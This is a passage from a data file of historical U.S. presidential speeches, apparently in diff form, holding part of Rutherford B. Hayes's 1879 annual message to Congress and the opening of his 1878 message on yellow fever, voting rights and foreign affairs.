useful to United States vessels.The subject of opening diplomatic relations with Roumania and Servia, now\nbecome independent sovereignties, is at present under consideration, and is\nthe subject of diplomatic correspondence.There is a gratifying increase of trade with nearly all European and\nAmerican countries, and it is believed that with judicious action in regard\nto its development it can and will be still more enhanced and that American\nproducts and manufactures will find new and expanding markets. The reports\nof diplomatic and consular officers upon this subject, under the system now\nadopted, have resulted in obtaining much valuable information, which has\nbeen and will continue to be laid before Congress and the public from time\nto time.The third article of the treaty with Russia of March 30, 1867, by which\nAlaska was ceded to the United States, provides that the inhabitants of the\nceded territory, with the exception of the uncivilized native tribes, shall\nbe admitted to the enjoyment of all the rights of citizens of the United\nStates and shall be maintained and protected in the free enjoyment of their\nliberty, property, and religion. The uncivilized tribes are subject to such\nlaws and regulations as the United States may from time to time adopt in\nregard to the aboriginal tribes of that country.Both the obligations of this treaty and the necessities of the people\nrequire that some organized form of government over the Territory of Alaska\nbe adopted.There appears to be no law for the arrest of persons charged with\ncommon-law offenses, such as assault, robbery, and murder, and no\nmagistrate authorized to issue or execute process in such cases. Serious\ndifficulties have already arisen from offenses of this character, not only\namong the original inhabitants, but among citizens of the United States and\nother countries who have engaged in mining, fishing, and other business\noperations within the territory. A bill authorizing the appointment of\njustices of the peace and constables and the arrest and detention of\npersons charged with criminal offenses, and providing for an appeal to\nUnited States courts for the district of Oregon in suitable cases, will at\na proper time be submitted to Congress.The attention of Congress is called to the annual report of the Secretary\nof the Treasury on the condition of the public finances.The ordinary revenues from all sources for the fiscal year ended June 30,\n1879, were $273,827,184.46; the ordinary expenditures for the same period\nwere $266,947,883.53, leaving a surplus revenue for the year of\n$6,879,300.93.The receipts for the present fiscal year, ending June 30, 1880, actual and\nestimated, are as follows: Actual receipts for the first quarter,\ncommencing July 1, 1879, $79,843,663.61; estimated receipts for the\nremaining three quarters of the year, $208,156,336.39; total receipts for\nthe current fiscal year, actual and estimated, $288,000,000.The expenditures for the same period will be, actual and estimated, as\nfollows: For the quarter commencing July 1, 1879, actual expenditures,\n$91,683,385.10; and for the remaining three quarters of the year the\nexpenditures are estimated at $172,316,614.90, making the total\nexpenditures $264,000,000, and leaving an estimated surplus revenue for the\nyear ending June 30, 1880, of $24,000,000. The total receipts during the\nnext fiscal year, ending June 30, 1881, estimated according to existing\nlaws, will be $288,000,000, and the estimated ordinary expenditures for the\nsame period will be $278,097,364.39, leaving a surplus of $9,902,635.61 for\nthat year.The large amount expended for arrears of pensions during the last and the\npresent fiscal year, amounting to $21,747,249.60, has prevented the\napplication of the full amount required by law to the sinking fund for the\ncurrent year; but these arrears having been substantially paid, it is\nbelieved that the sinking fund can hereafter be maintained without any\nchange of existing law.The Secretary of War reports that the War Department estimates for the\nfiscal year ending June 30, 1881, are $40,380,428.93, the same being for a\nless sum of money than any annual estimate rendered to Congress from that\nDepartment during a period of at least twelve years.He concurs with the General of the Army in recommending such legislation as\nwill authorize the enlistment of the full number of 25,000 men for the line\nof the Army, exclusive of the 3,463 men required for detached duty, and\ntherefore not available for service in the field.He also recommends that Congress be asked to provide by law for the\ndisposition of a large number of abandoned military posts and reservations,\nwhich, though very valuable in themselves, have been rendered useless for\nmilitary purposes by the advance of civilization and settlement.He unites with the Quartermaster-General in recommending that an\nappropriation be made for the construction of a cheap and perfectly\nfireproof building for the safe storage of a vast amount of money accounts,\nvouchers, claims, and other valuable records now in the\nQuartermaster-General's Office, and exposed to great risk of total\ndestruction by fire.He also recommends, in conformity with the views of the\nJudge-Advocate-General, some declaratory legislation in reference to the\nmilitary statute of limitations as applied to the crime of desertion. In\nthese several recommendations I concur.The Secretary of War further reports that the work for the improvement of\nthe South Pass of the Mississippi River, under contract with Mr. James B.\nEads, made in pursuance of an act of Congress, has been prosecuted during\nthe past year with a greater measure of success in the attainment of\nresults than during any previous year. The channel through the South Pass,\nwhich at the beginning of operations in June, 1875, had a depth of only 7\n1/2 feet of water, had on the 8th of July, 1879, a minimum depth of 26\nfeet, having a width of not less than 200 feet and a central depth of 30\nfeet. Payments have been made in accordance with the statute, as the work\nprogressed, amounting in the aggregate to $4,250,000; and further payments\nwill become due, as provided by the statute, in the event of success in\nmaintaining the channel now secured.The reports of the General of the Army and of his subordinates present a\nfull and detailed account of the military operations for the suppression of\nhostilities among the Indians of the Ute and Apache tribes, and praise is\njustly awarded to the officers and troops engaged for promptness, skill,\nand courage displayed.The past year has been one of almost unbroken peace and quiet on the\nMexican frontier, and there is reason to believe that the efforts of this\nGovernment and of Mexico to maintain order in that region will prove\npermanently successful.This Department was enabled during the past year to find temporary, though\ncrowded, accommodations and a safe depository for a portion of its records\nin the completed east wing of the building designed for the State, War, and\nNavy Departments. The construction of the north wing of the building, a\npart of the structure intended for the use of the War Department, is being\ncarried forward with all possible dispatch, and the work should receive\nfrom Congress such liberal appropriations as will secure its speedy\ncompletion.The report of the Secretary of the Navy shows continued improvement in that\nbranch of the service during the last fiscal year. Extensive repairs have\nbeen made upon vessels, and two new ships have been completed and made\nready for sea.The total expenditures of the year ended June 30, 1879, including specific\nappropriations not estimated for by the Department, were $13,555,710.09.\nThe expenses chargeable to the year, after deducting the amount of these\nspecific appropriations, were $13,343,317.79; but this is subject to a\nreduction of $283,725.99, that amount having been drawn upon warrants, but\nnot paid out during the year. The amount of appropriations applicable to\nthe last fiscal year was $14,538,646.17. There was, therefore, a balance of\n$1,479,054.37 remaining unexpended and to the credit of the Department on\nJune 30, 1879. The estimates for the fiscal year ending June 30, 1881, are\n$14,864,147.95, which exceeds the appropriations for the present fiscal\nyear $361,897.28. The reason for this increase is explained in the\nSecretary's report. The appropriations available for the present fiscal\nyear are $14,502,250.67, which will, in the opinion of the Secretary,\nanswer all the ordinary demands of the service. The amount drawn from the\nTreasury from July 1 to November 1, 1879 was $5,770,404.12, of which\n$1,095,440.33 has been refunded, leaving as the expenditure for that period\n$4,674,963.79. If the expenditures of the remaining two-thirds of the year\ndo not exceed the proportion for these four months, there will remain\nunexpended at the end of the year $477,359.30 of the current\nappropriations. The report of the Secretary shows the gratifying fact that\namong all the disbursing officers of the Pay Corps of the Navy there is not\none who is a defaulter to the extent of a single dollar. I unite with him\nin recommending the removal of the observatory to a more healthful\nlocation. That institution reflects credit upon the nation, and has\nobtained the approbation of scientific men in all parts of the world. Its\nremoval from its present location would not only be conducive to the health\nof its officers and professors, but would greatly increase its usefulness.The appropriation for judicial expenses, which has heretofore been made for\nthe Department of Justice in gross, was subdivided at the last session of\nCongress, and no appropriation whatever was made for the payment of the\nfees of marshals and their deputies, either in the service of process or\nfor the discharge of other duties; and since June 30 these officers have\ncontinued the performance of their duties without compensation from the\nGovernment, taking upon themselves the necessary incidental outlays, as\nwell as rendering their own services. In only a few unavoidable instances\nhas the proper execution of the process of the United States failed by\nreason of the absence of the requisite appropriation. This course of\nofficial conduct on the part of these officers, highly creditable to their\nfidelity, was advised by the Attorney-General, who informed them, however,\nthat they would necessarily have to rely for their compensation upon the\nprospect of future legislation by Congress. I therefore especially\nrecommend that immediate appropriation be made by Congress for this\npurpose.The act making the principal appropriation for the Department of Justice at\nprevious sessions has uniformly contained the following clause: And for\ndefraying the expenses which my be incurred in the enforcement of the act\napproved February 28, 1871, entitled \"An act to amend an act approved May\n31, 1870, entitled 'An act to enforce the rights of citizens of the United\nStates to vote in the several States of this Union, and for other\npurposes,'\" or any acts amendatory thereof or supplementary thereto. No\nappropriation was made for this purpose for the current year. As no general\nelection for Members of Congress occurred, the omission was a matter of\nlittle practical importance. Such election will, however, take place during\nthe ensuing year, and the appropriation made for the pay of marshals and\ndeputies should be sufficient to embrace compensation for the services they\nmay be required to perform at such elections.The business of the Supreme Court is at present largely in arrears. It can\nnot be expected that more causes can be decided than are now disposed of in\nits annual session, or that by any assiduity the distinguished magistrates\nwho compose the court can accomplish more than is now done. In the courts\nof many of the circuits also the business has increased to such an extent\nthat the delay of justice will call the attention of Congress to an\nappropriate remedy. It is believed that all is done in each circuit which\ncan fairly be expected from its judicial force. The evils arising from\ndelay are less heavily felt by the United States than by private suitors,\nas its causes are advanced by the courts when it is seen that they involve\nthe discussion of questions of a public character.The remedy suggested by the Attorney-General is the appointment of\nadditional circuit judges and the creation of an intermediate court of\nerrors and appeals, which shall relieve the Supreme Court of a part of its\njurisdiction, while a larger force is also obtained for the performance of\ncircuit duties.I commend this suggestion to the consideration of Congress. It would seem\nto afford a complete remedy, and would involve, if ten additional circuit\njudges are appointed, an expenditure, at the present rate of salaries, of\nnot more than $60,000 a year, which would certainly be small in comparison\nwith the objects to be attained.The report of the Postmaster-General bears testimony to the general revival\nof business throughout the country. The receipts of the Post-Office\nDepartment for the fiscal year ended June 30, 1879, were $30,041,982.86,\nbeing $764,465.91 more than the revenues of the preceding year. The amount\nrealized from the sale of postage stamps, stamped envelopes, and postal\ncards was $764,465.91 more than in the preceding year, and $2,387,559.23\nmore than in 1877. The expenditures of the Department were $33,449,899.45,\nof which the sum of $376,461.63 was paid on liabilities incurred in\npreceding years.The expenditures during the year were $801,209.77 less than in the\npreceding year. This reduction is to be attributed mainly to the operation\nof the law passed June 17, 1878, changing the compensation of postmasters\nfrom a commission on the value of stamps sold to a commission on stamps\ncanceled.The amount drawn from the Treasury on appropriations, in addition to the\nrevenues of the Department, was $3,031,454.96, being $2,276,197.86 less\nthan in the preceding year.The expenditures for the fiscal year ending June 30, 1881, are estimated at\n$39,920,900 and the receipts from all sources at $32,210,000, leaving a\ndeficiency to be appropriated for out of the Treasury of $7,710,900.The relations of the Department with railroad companies have been\nharmonized, notwithstanding the general reduction by Congress of their\ncompensation by the appropriation for special facilities, and the railway\npost-office lines have been greatly extended, especially in the Southern\nStates. The interests of the Railway Mail Service and of the public would\nbe greatly promoted and the expenditures could be more readily controlled\nby the classification of the employees of the Railway Mail Service as\nrecommended by the Postmaster-General, the appropriation for salaries, with\nrespect to which the maximum limit is already fixed by law, to be made in\ngross.The Postmaster-General recommends an amendment of the law regulating the\nincrease of compensation for increased service and increased speed on star\nroutes, so as to enable him to advertise for proposals for such increased\nservice and speed. He also suggests the advantages to accrue to the\ncommerce of the country from the enactment of a general law authorizing\ncontracts with American-built steamers, carrying the American flag, for\ntransporting the mail between ports of the United States and ports of the\nWest Indies and South America, at a fixed maximum price per mile, the\namount to be expended being regulated by annual appropriations, in like\nmanner with the amount paid for the domestic star service.The arrangement made by the Postmaster-General and the Secretary of the\nTreasury for the collection of duty upon books received in the mail from\nforeign countries has proved so satisfactory in its practical operation\nthat the recommendation is now made that Congress shall extend the\nprovisions of the act of March 3, 1879, under which this arrangement was\nmade, so as to apply to all other dutiable articles received in the mails\nfrom foreign countries.The reports of the Secretary of the Interior and of the Commissioner of\nIndian Affairs, setting forth the present state of our relations with the\nIndian tribes on our territory, the measures taken to advance their\ncivilization and prosperity, and the progress already achieved by them,\nwill be found of more than ordinary interest. The general conduct of our\nIndian population has been so satisfactory that the occurrence of two\ndisturbances, which resulted in bloodshed and destruction of property, is\nall the more to be lamented.The history of the outbreak on the White River Ute Reservation, in western\nColorado, has become so familiar by elaborate reports in the public press\nthat its remarkable incidents need not be stated here in detail. It is\nexpected that the settlement of this difficulty will lead to such\narrangements as will prevent further hostile contact between the Indians\nand the border settlements in western Colorado.The other disturbance occurred at the Mescalero Agency, in New Mexico,\nwhere Victoria, at the head of a small band of marauders, after committing\nmany atrocities, being vigorously chased by a military force, made his way\nacross the Mexican border and is now on foreign soil.While these occurrences, in which a comparatively small number of Indians\nwere engaged, are most deplorable, a vast majority of our Indian population\nhave fully justified the expectations of those who believe that by humane\nand peaceful influences the Indian can be led to abandon the habits of\nsavage life and to develop a capacity for useful and civilized occupations.\nWhat they have already accomplished in the pursuit of agricultural and\nmechanical work, the remarkable success which has attended the experiment\nof employing as freighters a class of Indians hitherto counted among the\nwildest and most intractable, and the general and urgent desire expressed\nby them for the education of their children may be taken as sufficient\nproof that they will be found capable of accomplishing much more if they\ncontinue to be wisely and fairly guided. The \"Indian policy\" sketched in\nthe report of the Secretary of the Interior, the object of which is to make\nliberal provision for the education of Indian youth, to settle the Indians\nupon farm lots in severalty, to give them title in fee to their farms,\ninalienable for a certain number of years, and when their wants are thus\nprovided for to dispose by sale of the lands on their reservations not\noccupied and used by them, a fund to be formed out of the proceeds for the\nbenefit of the Indians, which will gradually relieve the Government of the\nexpenses now provided for by annual appropriations, must commend itself as\njust and beneficial to the Indians, and as also calculated to remove those\nobstructions which the existence of large reservations presents to the\nsettlement and development of the country. I therefore earnestly recommend\nthe enactment of a law enabling the Government to give Indians a title in\nfee, inalienable for twenty-five years, to the farm lands assigned to them\nby allotment. I also repeat the recommendation made in my first annual\nmessage, that a law be passed admitting Indians who can give satisfactory\nproof of having by their own labor supported their families for a number of\nyears, and who are willing to detach themselves from their tribal\nrelations, to the benefit of the homestead act, and to grant them patents\ncontaining the same provision of inalienability for a certain period.The experiment of sending a number of Indian children of both sexes to the\nHampton Normal and Agricultural Institute, in Virginia, to receive an\nelementary English education and practical instruction in farming and other\nuseful industries, has led to results so promising that it was thought\nexpedient to turn over the cavalry barracks at Carlisle, in Pennsylvania,\nto the Interior Department for the establishment of an Indian school on a\nlarger scale. This school has now 158 pupils, selected from various tribes,\nand is in full operation. Arrangements are also made for the education of a\nnumber of Indian boys and girls belonging to tribes on the Pacific Slope in\na similar manner, at Forest Grove, in Oregon. These institutions will\ncommend themselves to the liberality of Congress and to the philanthropic\nmunificence of the American people.Last spring information was received of the organization of an extensive\nmovement in the Western States, the object of which was the occupation by\nunauthorized persons of certain lands in the Indian Territory ceded by the\nCherokees to the Government for the purpose of settlement by other Indian\ntribes.On the 26th of April I issued a proclamation warning all persons against\nparticipation in such an attempt, and by the cooperation of a military\nforce the invasion was promptly checked. It is my purpose to protect the\nrights of the Indian inhabitants of that Territory to the full extent of\nthe executive power; but it would be unwise to ignore the fact that a\nterritory so large and so fertile, with a population so sparse and with so\ngreat a wealth of unused resources, will be found more exposed to the\nrepetition of such attempts as happened this year when the surrounding\nStates are more densely settled and the westward movement of our population\nlooks still more eagerly for fresh lands to occupy. Under such\ncircumstances the difficulty of maintaining the Indian Territory in its\npresent state will greatly increase, and the Indian tribes inhabiting it\nwould do well to prepare for such a contingency. I therefore fully approve\nof the advice given to them by the Secretary of the Interior on a recent\noccasion, to divide among themselves in severalty as large a quantity of\ntheir lands as they can cultivate; to acquire individual title in fee\ninstead of their present tribal ownership in common, and to consider in\nwhat manner the balance of their lands may be disposed of by the Government\nfor their benefit. By adopting such a policy they would more certainly\nsecure for themselves the value of their possessions, and at the same time\npromote their progress in civilization and prosperity, than by endeavoring\nto perpetuate the present state of things in the Territory.The question whether a change in the control of the Indian service should\nbe made was in the Forty-fifth Congress referred to a joint committee of\nboth Houses for inquiry and report. In my last annual message I expressed\nthe hope that the decision of that question, then in prospect, would\n\"arrest further agitation of this subject, such agitation being apt to\nproduce a disturbing effect upon the service as well as on the Indians\nthemselves.\" Since then, the committee having reported, the question has\nbeen decided in the negative by a vote in the House of Representatives.For the reasons here stated, and in view of the fact that further\nuncertainty on this point will be calculated to obstruct other much-needed\nlegislation, to weaken the discipline of the service, and to unsettle\nsalutary measures now in progress for the government and improvement of the\nIndians, I respectfully recommend that the decision arrived at by Congress\nat its last session be permitted to stand.The efforts made by the Department of the Interior to arrest the\ndepredations on the timber lands of the United States have been continued,\nand have met with considerable success. A large number of cases of trespass\nhave been prosecuted in the courts of the United States; others have been\nsettled, the trespassers offering to make payment to the Government for the\nvalue of the timber taken by them. The proceeds of these prosecutions and\nsettlements turned into the Treasury far exceed in amount the sums\nappropriated by Congress for this purpose. A more important result,\nhowever, consists in the fact that the destruction of our public forests by\ndepredation, although such cases still occur, has been greatly reduced in\nextent, and it is probable that if the present policy is vigorously pursued\nand sufficient provision to that end is made by Congress such trespasses,\nat least those on a large scale, can be entirely suppressed, except in the\nTerritories, where timber for the daily requirements of the population can\nnot, under the present state of the law, be otherwise obtained. I therefore\nearnestly invite the attention of Congress to the recommendation made by\nthe Secretary of the Interior, that a law be enacted enabling the\nGovernment to sell timber from the public lands without conveying the fee,\nwhere such lands are principally valuable for the timber thereon, such\nsales to be so regulated as to conform to domestic wants and business\nrequirements, while at the same time guarding against a sweeping\ndestruction of the forests. The enactment of such a law appears to become a\nmore pressing necessity every day.My recommendations in former messages are renewed in favor of enlarging the\nfacilities of the Department of Agriculture. Agriculture is the leading\ninterest and the permanent industry of our people. It is to the abundance\nof agricultural production, as compared with our home consumption, and the\nlargely increased and highly profitable market abroad which we have enjoyed\nin recent years, that we are mainly indebted for our present prosperity as\na people. We must look for its continued maintenance to the same\nsubstantial resource. There is no branch of industry in which labor,\ndirected by scientific knowledge, yields such increased production in\ncomparison with unskilled labor, and no branch of the public service to\nwhich the encouragement of liberal appropriations can be more appropriately\nextended. The omission to render such aid is not a wise economy, but, on\nthe contrary, undoubtedly results in losses of immense sums annually that\nmight be saved through well-directed efforts by the Government to promote\nthis vital interest.The results already accomplished with the very limited means heretofore\nplaced at the command of the Department of Agriculture is an earnest of\nwhat may be expected with increased appropriations for the several purposes\nindicated in the report of the Commissioner, with a view to placing the\nDepartment upon a footing which will enable it to prosecute more\neffectively the objects for which it is established.Appropriations are needed for a more complete laboratory, for the\nestablishment of a veterinary division and a division of forestry, and for\nan increase of force.The requirements for these and other purposes, indicated in the report of\nthe Commissioner under the head of the immediate necessities of the\nDepartment, will not involve any expenditure of money that the country can\nnot with propriety now undertake in the interests of agriculture.It is gratifying to learn from the Bureau of Education the extent to which\neducational privileges throughout the United States have been advanced\nduring the year. No more fundamental responsibility rests upon Congress\nthan that of devising appropriate measures of financial aid to education,\nsupplemental to local action in the States and Territories and in the\nDistrict of Columbia. The wise forethought of the founders of our\nGovernment has not only furnished the basis for the support of the\ncommon-school systems of the newer States, but laid the foundations for the\nmaintenance of their universities and colleges of agriculture and the\nmechanic arts. Measures in accordance with this traditional policy, for the\nfurther benefit of all these interests and the extension of the same\nadvantages to every portion of the country, it is hoped will receive your\nfavorable consideration.To preserve and perpetuate the national literature should be among the\nforemost cares of the National Legislature. The library gathered at the\nCapitol still remains unprovided with any suitable accommodations for its\nrapidly increasing stores. The magnitude and importance of the collection,\nincreased as it is by the deposits made under the law of copyright, by\ndomestic and foreign exchanges, and by the scientific library of the\nSmithsonian Institution, call for building accommodations which shall be at\nonce adequate and fireproof. The location of such a public building, which\nshould provide for the pressing necessities of the present and for the vast\nincrease of the nation's books in the future, is a matter which addresses\nitself to the discretion of Congress. It is earnestly recommended as a\nmeasure which should unite all suffrages and which should no longer be\ndelayed.The joint commission created by the act of Congress of August 2, 1876, for\nthe purpose of supervising and directing the completion of the Washington\nNational Monument, of which commission the President is a member, has given\ncareful attention to this subject, and already the strengthening of the\nfoundation has so far progressed as to insure the entire success of this\npart of the work. A massive layer of masonry has been introduced below the\noriginal foundation, widening the base, increasing the stability of the\nstructure, and rendering it possible to carry the shaft to completion. It\nis earnestly recommended that such further appropriations be made for the\ncontinued prosecution of the work as may be necessary for the completion of\nthis national monument at an early day.In former messages, impressed with the importance of the subject, I have\ntaken occasion to commend to Congress the adoption of a generous policy\ntoward the District of Columbia. The report of the Commissioners of the\nDistrict, herewith transmitted, contains suggestions and recommendations,\nto all of which I earnestly invite your careful attention. I ask your early\nand favorable consideration of the views which they express as to the\nurgent need of legislation for the reclamation of the marshes of the\nPotomac and its Eastern Branch within the limits of the city, and for the\nrepair of the streets of the capital, heretofore laid with wooden blocks\nand now by decay rendered almost impassable and a source of imminent danger\nto the health of its citizens. The means at the disposal of the\nCommissioners are wholly inadequate for the accomplishment of these\nimportant works, and should be supplemented by timely appropriations from\nthe Federal Treasury.The filling of the flats in front of the city will add to the adjacent\nlands and parks now owned by the United States a large and valuable domain,\nsufficient, it is thought, to reimburse its entire cost, and will also, as\nan incidental result, secure the permanent improvement of the river for the\npurposes of navigation.The Constitution having invested Congress with supreme and exclusive\njurisdiction over the District of Columbia, its citizens must of necessity\nlook to Congress alone for all needful legislation affecting their\ninterests; and as the territory of this District is the common property of\nthe people of the United States, who equally with its resident citizens are\ninterested in the prosperity of their capital, I can not doubt that you\nwill be amply sustained by the general voice of the country in any measures\nyou may adopt for this purpose.I also invite the favorable consideration of Congress to the wants of the\npublic schools of this District, as exhibited in the report of the\nCommissioners. While the number of pupils is rapidly increasing, no\nadequate provision exists for a corresponding increase of school\naccommodation, and the Commissioners are without the means to meet this\nurgent need. A number of the buildings now used for school purposes are\nrented, and are in important particulars unsuited for the purpose. The\ncause of popular education in the District of Columbia is surely entitled\nto the same consideration at the hands of the National Government as in the\nseveral States and Territories, to which munificent grants of the public\nlands have been made for the endowment of schools and universities.", 
+    "name": "Rutherford B. Hayes"
+}
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+{
+    "date": "December 2, 1878", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Our heartfelt gratitude is due to the Divine Being who holds in His hands\nthe destinies of nations for the continued bestowal during the last year of\ncountless blessings upon our country.We are at peace with all other nations. Our public credit has greatly\nimproved, and is perhaps now stronger than ever before. Abundant harvests\nhave rewarded the labors of those who till the soil, our manufacturing\nindustries are reviving, and it is believed that general prosperity, which\nhas been so long anxiously looked for, is at last within our reach.The enjoyment of health by our people generally has, however, been\ninterrupted during the past season by the prevalence of a fatal pestilence\n(the yellow fever) in some portions of the Southern States, creating an\nemergency which called for prompt and extraordinary measures of relief. The\ndisease appeared as an epidemic at New Orleans and at other places on the\nLower Mississippi soon after midsummer. It was rapidly spread by fugitives\nfrom the infected cities and towns, and did not disappear until early in\nNovember. The States of Louisiana, Mississippi, and Tennessee have suffered\nseverely. About 100,000 cases are believed to have occurred, of which about\n20,000, according to intelligent estimates, proved fatal. It is impossible\nto estimate with any approach to accuracy the loss to the country\noccasioned by this epidemic It is to be reckoned by the hundred millions of\ndollars. The suffering and destitution that resulted excited the deepest\nsympathy in all parts of the Union. Physicians and nurses hastened from\nevery quarter to the assistance of the afflicted communities. Voluntary\ncontributions of money and supplies, in every needed form, were speedily\nand generously furnished. The Government was able to respond in some\nmeasure to the call for help, by providing tents, medicines, and food for\nthe sick and destitute, the requisite directions for the purpose being\ngiven in the confident expectation that this action of the Executive would\nreceive the sanction of Congress. About 1,800 tents, and rations of the\nvalue of about $25,000, were sent to cities and-towns which applied for\nthem, full details of which will be furnished to Congress by the proper\nDepartment.The fearful spread of this pestilence has awakened a very general public\nsentiment in favor of national sanitary administration, which shall not\nonly control quarantine, but have the sanitary supervision of internal\ncommerce in times of epidemics, and hold an advisory relation to the State\nand municipal health authorities, with power to deal with whatever\nendangers the public health, and which the municipal and State authorities\nare unable to regulate. The national quarantine act approved April 29,\n1878, which was passed too late in the last session of Congress to provide\nthe means for carrying it into practical operation during the past season,\nis a step in the direction here indicated. In view of the necessity for the\nmost effective measures, by quarantine and otherwise, for the protection of\nour seaports and the country generally from this and other epidemics, it is\nrecommended that Congress give to the whole subject early and careful\nconsideration.The permanent pacification of the country by the complete protection of all\ncitizens in every civil and political right continues to be of paramount\ninterest with the great body of our people. Every step in this direction is\nwelcomed with public approval, and every interruption of steady and uniform\nprogress to the desired consummation awakens general uneasiness and\nwidespread condemnation. The recent Congressional elections have furnished\na direct and trustworthy test of the advance thus far made in the practical\nestablishment of the right of suffrage secured by the Constitution to the\nliberated race in the Southern States. All disturbing influences, real or\nimaginary, had been removed from all of these States.The three constitutional amendments which conferred freedom and equality of\ncivil and political rights upon the colored people of the South were\nadopted by the concurrent action of the great body of good citizens who\nmaintained the authority of the National Government and the integrity and\nperpetuity of the Union at such a cost of treasure and life, as a wise and\nnecessary embodiment in the organic law of the just results of the war. The\npeople of the former slaveholding States accepted these results, and gave\nin every practicable form assurances that the thirteenth, fourteenth, and\nfifteenth amendments, and laws passed in pursuance thereof, should in good\nfaith be enforced, rigidly and impartially, in letter and spirit, to the\nend that the humblest citizen, without distinction of race or color, should\nunder them receive full and equal protection in person and property and in\npolitical rights and privileges. By these constitutional amendments the\nsouthern section of the Union obtained a large increase of political power\nin Congress and in the electoral college, and the country justly expected\nthat elections would proceed, as to the enfranchised race, upon the same\ncircumstances of legal and constitutional freedom and protection which\nobtained in all the other States of the Union. The friends of law and order\nlooked forward to the conduct of these elections as offering to the general\njudgment of the country an important opportunity to measure the degree in\nwhich the right of suffrage could be exercised by the colored people and\nwould be respected by their fellow-citizens; but a more general enjoyment\nof freedom of suffrage by the colored people and a more just and generous\nprotection of that freedom by the communities of which they form a part\nwere generally anticipated than the record of the elections discloses. In\nsome of those States in which the colored people have been unable to make\ntheir opinions felt in the elections the result is mainly due to influences\nnot easily measured or remedied by legal protection; but in the States of\nLouisiana and South Carolina at large, and in some particular Congressional\ndistricts outside of those States, the records of the elections seem to\ncompel the conclusion that the rights of the colored voters have been\noverridden and their participation in the elections not permitted to be\neither general or free.It will be for the Congress for which these elections were held to make\nsuch examinations into their conduct as may be appropriate to determine the\nvalidity of the claims of members to their seats. In the meanwhile it\nbecomes the duty of the executive and judicial departments of the\nGovernment, each in its province, to inquire into and punish violations of\nthe laws of the United States which have occurred. I can but repeat what I\nsaid in this connection in my last message, that whatever authority rests\nwith me to this end I shall not hesitate to put forth; and I am unwilling\nto forego a renewed appeal to the legislatures, the courts, the executive\nauthorities, and the people of the States where these wrongs have been\nperpetrated to give their assistance toward bringing to justice the\noffenders and preventing a repetition of the crimes. No means within my\npower will be spared to obtain a full and fair investigation of the alleged\ncrimes and to secure the conviction and just punishment of the guilty.It is to be observed that the principal appropriation made for the\nDepartment of Justice at the last session contained the following clause:\nAnd for defraying the expenses which may be incurred in the enforcement of\nthe act approved February 28, 1871, entitled \"An act to amend an act\napproved May 31, 1870, entitled 'An act to enforce the rights of citizens\nof the United States to vote in the several States of this Union, and for\nother purposes,'\" or any acts amendatory thereof or supplementary thereto.\nIt is the opinion of the Attorney-General that the expenses of these\nproceedings will largely exceed the amount which was thus provided, and I\nrely confidently upon Congress to make adequate appropriations to enable\nthe executive department to enforce the laws.I respectfully urge upon your attention that the Congressional elections,\nin every district, in a very important sense, are justly a matter of\npolitical interest and concern throughout the whole country. Each State,\nevery political party, is entitled to the share of power which is conferred\nby the legal and constitutional suffrage. It is the right of every citizen\npossessing the qualifications prescribed by law to east one unintimidated\nballot and to have his ballot honestly counted. So long as the exercise of\nthis power and the enjoyment of this right are common and equal,\npractically as well as formally, submission to the results of the suffrage\nwill be accorded loyally and cheerfully, and all the departments of\nGovernment will feel the true vigor of the popular will thus expressed. No\ntemporary or administrative interests of Government, however urgent or\nweighty, will ever displace the zeal of our people in defense of the\nprimary rights of citizenship. They understand that the protection of\nliberty requires the maintenance in full vigor of the manly methods of free\nspeech, free press, and free suffrage, and will sustain the full authority\nof Government to enforce the laws which are framed to preserve these\ninestimable rights. The material progress and welfare of the States depend\non the protection afforded to their citizens. There can be no peace without\nsuch protection, no prosperity without peace, and the whole country is\ndeeply interested in the growth and prosperity of all its parts.While the country has not yet reached complete unity of feeling and\nreciprocal confidence between the communities so lately and so seriously\nestranged, I feel an absolute assurance that the tendencies are in that\ndirection, and with increasing force. The power of public opinion will\noverride all political prejudices and all sectional or State attachments in\ndemanding that all over our wide territory the name and character of\ncitizen of the United States shall mean one and the same thing and carry\nwith them unchallenged security and respect.Our relations with other countries continue peaceful. Our neutrality in\ncontests between foreign powers has been maintained and respected.The Universal Exposition held at Paris during the past summer has been\nattended by large numbers of our citizens. The brief period allowed for the\npreparation and arrangement of the contributions of our citizens to this\ngreat exposition was well employed in energetic and judicious efforts to\novercome this disadvantage. These efforts, led and directed by the\ncommissioner-general, were remarkably successful, and the exhibition of the\nproducts of American industry was creditable and gratifying in scope and\ncharacter. The reports of the United States commissioners, giving its\nresults in detail, will be duly laid before you. Our participation in this\ninternational competition for the favor and the trade of the world may be\nexpected to produce useful and important results--in promoting intercourse,\nfriendship, and commerce with other nations.In accordance with the provisions of the act of February 28, 1878, three\ncommissioners were appointed to an international conference on the subject\nof adopting a common ratio between gold and silver, for the purpose of\nestablishing internationally the use of bimetallic money and securing\nfixity of relative value between those metals.Invitations were addressed to the various governments which had expressed a\nwillingness to participate in its deliberations. The conference held its\nmeetings in Paris in August last. The report of the commissioners, herewith\nsubmitted, will show its results. No common ratio between gold and silver\ncould be agreed upon by the conference. The general conclusion was reached\nthat it is necessary to maintain in the world the monetary functions of\nsilver as well as of gold, leaving the selection of the use of one or the\nother of these two metals, or of both, to be made by each state.Congress having appropriated at its last session the sum of $5,500,000 to\npay the award of the joint commission at Halifax, if, after correspondence\nwith the British Government on the subject of the conformity of the award\nto the requirements of the treaty and to the terms of the question thereby\nsubmitted to the commission, the President shall deem it his duty to make\nthe payment, communications upon these points were addressed to the British\nGovernment through the legation of the United States at London. Failing to\nobtain the concurrence of the British Government in the views of this\nGovernment respecting the award, I have deemed it my duty to tender the sum\nnamed within the year fixed by the treaty, accompanied by a notice of the\ngrounds of the payment and a protest against any other construction of the\nsame. The correspondence upon this subject will be laid before you.The Spanish Government has officially announced the termination of the\ninsurrection in Cuba and the restoration of peace throughout that island.\nConfident expectations are expressed of a revival of trade and prosperity,\nwhich it is earnestly hoped may prove well rounded. Numerous claims of\nAmerican citizens for relief for injuries or restoration of property have\nbeen among the incidents of the long-continued hostilities. Some of these\nclaims are in process of adjustment by Spain, and the others are promised\nearly and careful consideration.The treaty made with Italy in regard to reciprocal consular privileges has\nbeen duly ratified and proclaimed.No questions of grave importance have arisen with any other of the European\npowers.The Japanese Government has been desirous of a revision of such parts of\nits treaties with foreign powers as relate to commerce, and it is\nunderstood has addressed to each of the treaty powers a request to open\nnegotiations with that view. The United States Government has been inclined\nto regard the matter favorably. Whatever restrictions upon trade with Japan\nare found injurious to that people can not but affect injuriously nations\nholding commercial intercourse with them. Japan, after a long period of\nseclusion, has within the past few years made rapid strides in the path of\nenlightenment and progress, and, not unreasonably, is looking forward 